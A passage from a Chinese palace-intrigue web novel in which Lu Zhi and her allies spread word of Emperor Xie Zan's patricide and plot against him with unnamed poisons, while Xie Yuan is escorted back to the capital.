脚太冷了,怎么都捂不热,谢玄就像个大暖炉,能源源不断地散发热意。
陆枝蜷缩起来抱住自己,心道:一定要把谢瓒解决掉。
她要自由。
要暖和。
要谢玄。
……
陆枝睁着眼睛想东想西地想了很多,前世的过往、今生历经的种种等等,杂七杂八,没有章法。
想得累了终于有了睡意,被子里的脚好不容易捂热了,没睡多久天却亮了。
陆枝没有睡深,听见屋外传来司衡之推门的声音便睁开了眼睛,她转头看了眼屋外透进来的熹微晨光,茫然地眨了眨眼睛。
身旁空无一人,心头也跟着空落落的。
真奇怪,明明以前一个人已经躺了那么多年那么久,如今不过才和谢玄分开一点时间,就已经不习惯了。
陆枝揉了揉眼睛,缓了一会儿才起来。
干粮已经冷得硬邦邦,水也是冰凉冰凉的,由于不便起火,陆枝和司衡之两人就着冰水啃着硬干粮,瞧着实在是有几分落魄。
陆枝神色恹恹,一下一下机械地嚼着,也没尝出个味来。
金承沿着陆枝留下的特殊标记找到了齐广陵故居。
“师姐,掌柜的昨夜让人去使臣府打听了一番,那名宫女自毁容貌逃出使臣府后据说被一名神秘好心人所救,我们沿着线索追查了一晚上,你猜猜我们找到了哪里?”
他奔忙了一晚上眼中不见疲惫反而涌动着期待,一脸欣喜,仿佛急不可耐地想要炫耀自己的成果。
陆枝赶走脸上的倦意,语气欢快道:“快给师姐说说,找到何处了?”
金承心满意足,伸出食指在桌面上叩了两下,缓缓道:“陆府附近。”
陆枝一愣。
金承道:“我当即便潜入了陆府,曾在陆府待过一阵,摸起来也算轻车熟路。”
“师姐,你猜我碰到谁了?”
陆枝一时间忘记捧哏,道:“陆舟?”
金承瞬间有些蔫:“什么都瞒不过师姐,正是陆舟。”
陆枝摸了摸他的脑袋:“他跟你说了什么?”
金承正了神色,从怀里掏出一样事物:“我入陆府后想去师姐曾经的院子瞧一眼,没想到正碰上了陆舟,他认出了我,说我要找的人已经离世。他给了我这样东西,让我转交给师姐。”
陆枝接过,打开束口,里面是一卷卷轴,卷轴上是韩锦写下的血书。
韩锦年少执着,为坐皇后之位同陆枝交换身份,如今自尝恶果,死于谢瓒之手,也算咎由自取,韩锦报仇无门,只愿有人能看见此血书,将谢瓒恶行公之于众,谢瓒实乃人面兽心之徒,愧为皇帝。
后面还详细列了谢瓒谋害自己的一桩桩一件件,何时喂她喝药,何时凌辱于她,何时动手打她。
陆枝看完沉默地收起卷轴,她虽不喜韩锦,但也没到要杀了她的地步。
不过当初找上韩锦,她也料想到过韩锦的下场不会好过,韩锦的死确实可以算有她的一份在里面。
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>韩锦,就为你报个仇吧。
来世别执着做皇后了,如果非要坚持做,便愿你遇到个好皇帝吧。
陆枝双手握着卷轴:“金承,陆舟可有跟你说了什么?”
金承:“他说,他曾经所说仍然作数。”
仍然作数么?
陆枝垂下眼眸,想起陆舟曾对她说的那句“于宗法上已不是,于血缘上仍是,我认长姐”,她心里有些复杂。
陆舟能拿到这个卷轴,说明他已暗自成长起来,他是谢瓒扶持的新贵,如今却把这个卷轴交给她,此举于他而言风险太大,他支撑陆府不易,如今却搭上整个陆府来帮她。
陆舟他……心里当真还在将她当作长姐么?
金承看陆枝久久不说话,抬起手在她眼前晃,喊道:“师姐?师姐?”
“哦,嗯。”陆枝反应过来,“这卷轴将来交给韩瑶处理吧,毕竟她们是至亲。”她不打算牵扯上陆府。
司衡之提醒道:“这是个极好的机会。”
陆枝:“嗯,不过我们如今手握太子印信,也够用了。”
人活着时她肆无忌惮地利用,人死了却为了那点微不足道的愧疚心不肯再利用,陆枝,你可真够虚伪的,她在心里自我骂道。
司衡之没再多说。
“接下来,我们该设法让京城上下知晓天子登基真相。”
陆枝:“嗯,此举我有办法,需要纸墨笔砚,还有孔明灯和火药。”
她打算做个会爆炸的孔明灯,放至京城上空,待炸开后写满真相的纸张会撒满京城整条大街,大街上百姓人来人往,很快就能散播出去。
金承起身:“这些东西,我去找掌柜帮忙。”
“哎,等等,”陆枝拉住金承,“接下来我们该换个地方了。”狡兔三窟,他们现在不宜在一个地方待很久。
她看着门外的杂草,脑中灵光一闪:“我想到一个地方。”
“金承,带着东西到东巷王家。”那是曾经秦念钰约她见面的地方,算得上隐蔽。
金承点头:“好,师姐,我会尽快回来。”
司衡之跟着陆枝走过一个个拐角,在第五处拐角后,两人身后冒出一个人,此人拿着匕首貌似是要抢劫。
他悄悄跟在两人身后,在快接近两人时举着匕首奔跑起来。
司衡之听见脚步声,回头见带人扑来,他一介书生不会武,却想也没想就挡在了陆枝的身前,下意识地喊道:“绾儿,小心。”
陆枝反应迅速,手搭在司衡之的肩上将他拨开,她目色冷冽,一脚踢在歹人的手腕上。
歹人瞬间吃痛,匕首脱手落地。
陆枝再一脚将歹人踢翻在地,歹人疼得在地上直打滚叫唤。
她看向司衡之,沉声道:“快走!”
两人绕过曲折蜿蜒的巷道,终于到达东巷王家。
陆枝观察了一会儿关上门,转身面向司衡之,平静地说道:“司家主,你要看清楚,我是陆枝,是谢玄的妻,并非是司夫人。”
司衡之猛然一惊,他终于反应过来,自从凤州陆枝假扮楚绾过后,他一直有意无意将陆枝当成楚绾,所以才会有方才那下意识的一句“绾儿,小心”。
良久后,他抬起双手冲陆枝作了个揖:“请皇妃恕罪,是司某唐突。”
40.露面
谢瓒弑父夺位的消息传遍京城。
人们本就对原为太子的谢瓒突然即位有些猜测,当下这流言被传播开来,当初猜测的那批人更加言之凿凿,将谢瓒逼宫谋反之事描述得绘声绘色、好似他们亲身经历一般。
随着谢瓒弑父消息的传散,有关皇后薨毙的猜测也随之而来。
“皇后怕是死得也冤呐。”
“新帝当初强娶弟妻,还以为他是钟情于新后,没想到新后终成了旧人啊,连下场都没落得个好。”
陆枝听见了一两句,心道:我活着呐。
……
谢瓒于宫中听闻此事,顿时给桌案来了一通桌面清理,笔墨纸砚散落一地,墨汁四处溅落,给奏折、地毯、垂帘等诸多事物点上众多难以消除的黑点。
“来人!唤流光来!”
流光正在当值,闻召急忙赶来:“陛下。”
谢瓒:“当即去查城中流言的源头,将人抓来见朕,朕要看看究竟是何人如此大胆竟敢污蔑天子!”
流光:“是。”
谢瓒看着满地墨点心生烦躁:“来人,将此氍毹换了。”
宫女应声:“是。”
谢瓒:“摆驾栖和殿。”
他让韩瑶住进静妃曾住过的栖和殿,也不知是有意恶心谁。
韩瑶正坐在亭下赏花闲饮,听闻谢瓒来了忙起身相迎:“韩瑶见过大栾天子。”
谢瓒闻言心头的阴郁驱散了些,客套道:“你将嫁入大栾,朕还不曾得闲来见你,是朕之过。”
韩瑶:“天子日理万机,韩瑶都明白。”
谢瓒坐下:“听流光言,你此次带来的侍女里有一位他曾眼熟之人。”
韩瑶不慌不忙回道:“陛下说的应是若娘吧,韩瑶来大栾途中恰遇她被山匪劫掠,便让李槐将军救下了她,怜她无处可去,韩瑶便带着她入了宫。”
“若娘告知过韩瑶她曾是先皇后的婢女,先皇后入宫前将她遣走,”她先发制人对着谢瓒跪下,“但她终归是先皇后的人,韩瑶自作主张留她在身边伺候是为不妥,还望陛下恕罪。”
谢瓒这下倒是不好再说什么,他扶起韩瑶,道:“朕乃大栾天子,容得下天下,怎会容不下一个小小婢女,更何况她还是皇后故人,日后有她在你身旁伺候着,朕也能念着故去的皇后久一些。”
韩瑶:“陛下对先后情深,令韩瑶动容。”
谢瓒想拉韩瑶的手,又觉得有些违和,于是改为摸了摸她的头:“待大婚完成,你便是朕的妻,朕也会待你情深。”
韩瑶垂眸故作娇羞:“韩瑶谢陛下垂爱。”
……
自陆枝离开后,谢玄一路上心焦不已,催促着霍仲寒加急赶路。
霍仲寒:“老夫这是第一次见被押送还催着快点赶路的。”
谢玄:“霍老将军见谅,我实在担心枝儿。”
霍仲寒叹气:“老夫又如何不担心。”
“衡之既被广陵兄选作为婿,为人品性自然能信得过,有他跟着枝儿可安一些心。”
谢玄点了点头,没再答话。
他紧拽着缰绳,蹙紧的眉头始终没有松开,陆枝曾经是如何失声的他至今都记得。
若枝儿再落入谢瓒之手,后果他不敢深想。
流光接到谢瓒的命令便着手追查源头,很快带着人追击而来,陆枝三人燃放完特制孔明灯后穿梭在京城各条曲巷内躲避追兵。
司衡之:“我们这般躲藏下去终不是办法,霍老将军与二皇子还有两日才到,我在城西还有些安排,请皇妃跟着我走。”
陆枝:“好,不过再等等。”
她从包袱里掏出好几个药瓶分别拿给金承和司衡之:“金承,司家主,将这些药粉撒在两旁的墙上,间隔着撒便行。”
金承司衡之接过点头照做。
司衡之明白陆枝的用意,道:“皇妃思虑周全,但光凭这些药粉怕是不够。”毒倒追兵的意义不大。
陆枝:“无妨,当下不求大用,有效便行,能毒倒一个算一个。”
虽然现下这毒能发挥的作用有限,但此后会有大作用。
金承不管陆枝是何用意,只要是陆枝说的他便都照做,毒粉撒得专注又认真。
陆枝:“司家主,你的人能否接触到军营的伙夫和厨娘?”
能最好,不能她就自己偷溜进去,京城四个城门一定被加派了兵力,她一定要撕出一个口留做退路。
城门守兵倒下,他们进可扫威胁,退可逃命。
司衡之睁大双眼,她这是打算给军中下毒,此事若成,成功几乎朝他们这边倾斜。
他诧异一瞬,朝着陆枝郑重作揖道:“此事司某会尽力安排。”
陆枝拿出一个红色药瓶交给司衡之:“此事便拜托司家主了。”
“金承,我还有一事要交代你。”她拿出另一个蓝色药瓶,附在金承耳边低声交代道:“将这个交给凤雨楼掌柜,让他下在前去吃饭的官员的饭菜里。”
兵与官员两手抓,胜算会更大。
金承接过:“师姐放心,我一定完成。”
三人分作两路朝着两个方向奔去。
陆枝问道:“司家主,城西有什么?”
司衡之:“司某的一至交好友在此安居,我们可去那暂时歇脚。”
陆枝一愣,道:“司家主,时间紧迫,城西过于远了,还有两日,我们便找一处破庙将就将就,你看可好?”
“这……”司衡之想起今早那句无心之言,顿了顿,答道:“好,那便依皇妃的安排。”
破庙并不好找,加之还得提防追兵,两人一路辗转跑至深夜才找到一处,夜里寒风一阵接一阵地来,吹得庙里垂布飘摇如鬼魅。
春夜寒意深重,因不便生火,陆枝索性把那些垂着的破布扯下来抖掉灰尘,分了一半给司衡之,各自盖在身上御寒。
陆枝虽然累,但冷得不太能睡得着,索性主动找司衡之聊天:“司家主,从未听你讲过司夫人,可以与我说说吗?”
司衡之闻言温润地笑了笑:“我与绾儿之间的相处不过是些平常闲事,皇妃想听便说给皇妃听听。”
陆枝背靠着干草,缩在破布条里,身体渐渐有了暖意,司衡之的声音温润好听,有些催眠,她听着听着便有些眼皮沉重。
“这般听起来,陆枝深感司家主与司夫人两心相悦,如今虽然分离,但司家主对司夫人爱意仍存,想来司夫人也是化作了这天上的星、人间的月,化作了这人间四季,风雨雷雪……”
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她缓慢地眨了眨眼睛:“司夫人一直都陪在家主身边……”
陆枝睡着过去。
司衡之闻言眸中闪过一抹异色,转头借着透进来的微弱月色看向陆枝,直到此刻,他才将凤州的“齐绾”和陆枝彻底分离开。
他明白今夜陆枝是有意同他聊起绾儿,他太想念绾儿了,心底里总隐隐期待着绾儿活了过来,她成了陆枝,只是不再记得他,他本只盼着“重活过来的绾儿”好,却又忍不住对她倾注感情。
司衡之,你也是痴傻了,他在心底自嘲道。
他看向门外,石坎上蒙着一层薄薄的月晖。
【想来司夫人也是化作了这天上的星、人间的月,化作了这人间四季,风雨雷雪……】
这人间的月么……
他抬起手虚地接住屋顶破洞漏下来的一抹残光,眼底渐渐荡开温柔的笑意。
绾儿,是我太傻,原来你一直都在我的身边。
绾儿,我很想你。
月色退下,天光涌现。
陆枝醒来见司衡之早已醒了,正站在门边看着门外。
她打了个招呼:“司家主,早。”
司衡之转过身,道:“皇妃,早。”
陆枝见司衡之看自己的眼神变了,便知晓他已经将她和齐绾分开看待,她笑了笑点头,站起来往后仰舒展了一下身体:“司家主,今日是最后一日,我们要抓紧了。”
司衡之的面色变得认真:“嗯,皇妃放心,今日司某会将事情办妥。”
陆枝点头:“此番多要劳司家主费心。我去接金承,我们还在王家汇合,若发觉变故,家主只需顾好自己,藏匿好己身便可。”
司衡之冲陆枝作揖:“皇妃保重。”
陆枝看着他离开直至消失不见,她看了看四周,确认无人后走出破庙往原路返回,和金承顺利汇合。
……
谢玄抵达京城的前一日,谢瓒弑父的流言已传得沸沸扬扬。
流光由于一无所获,被谢瓒下令杖责五十。
由于当着谢瓒的面实刑,行刑之人不敢耍滑头,每一棍都打到实处。
五十棍结束,流光的背已皮开肉绽,那棍棒上还沾着他的一些碎肉血沫。
谢瓒冷眼看着:“流光,你真是越来越令朕失望了。”
流光忍着剧痛从刑凳上爬起来朝着谢瓒跪下,抬起颤抖的双手合在一起:“请陛下恕、恕罪。”
谢瓒转过身,余光睨了他一眼:“明日谢玄抵达京城,直接将他押来朕的面前,若再出差池,”
他甩袖离去:“你便自行了断。”
背上火辣辣的痛感加剧,流光喘气的声音又缓又重,他面色冷漠道:“是,陛下。”
霍仲寒将带来的兵留在城外,只带着一队亲兵押着谢玄入城。
流光亲迎霍仲寒:“恭贺霍老将军打下胜仗,陛下已为将军备下接风宴。此人交给下官便好。”
霍仲寒抓住流光伸向谢玄的手。
流光面露凶光:“霍老将军这是何意?”
霍仲寒:“无意。”
“年轻人,别着急,再等等。”
流光问道:“等什么?”
陆枝的声音从后方传来:“等我。”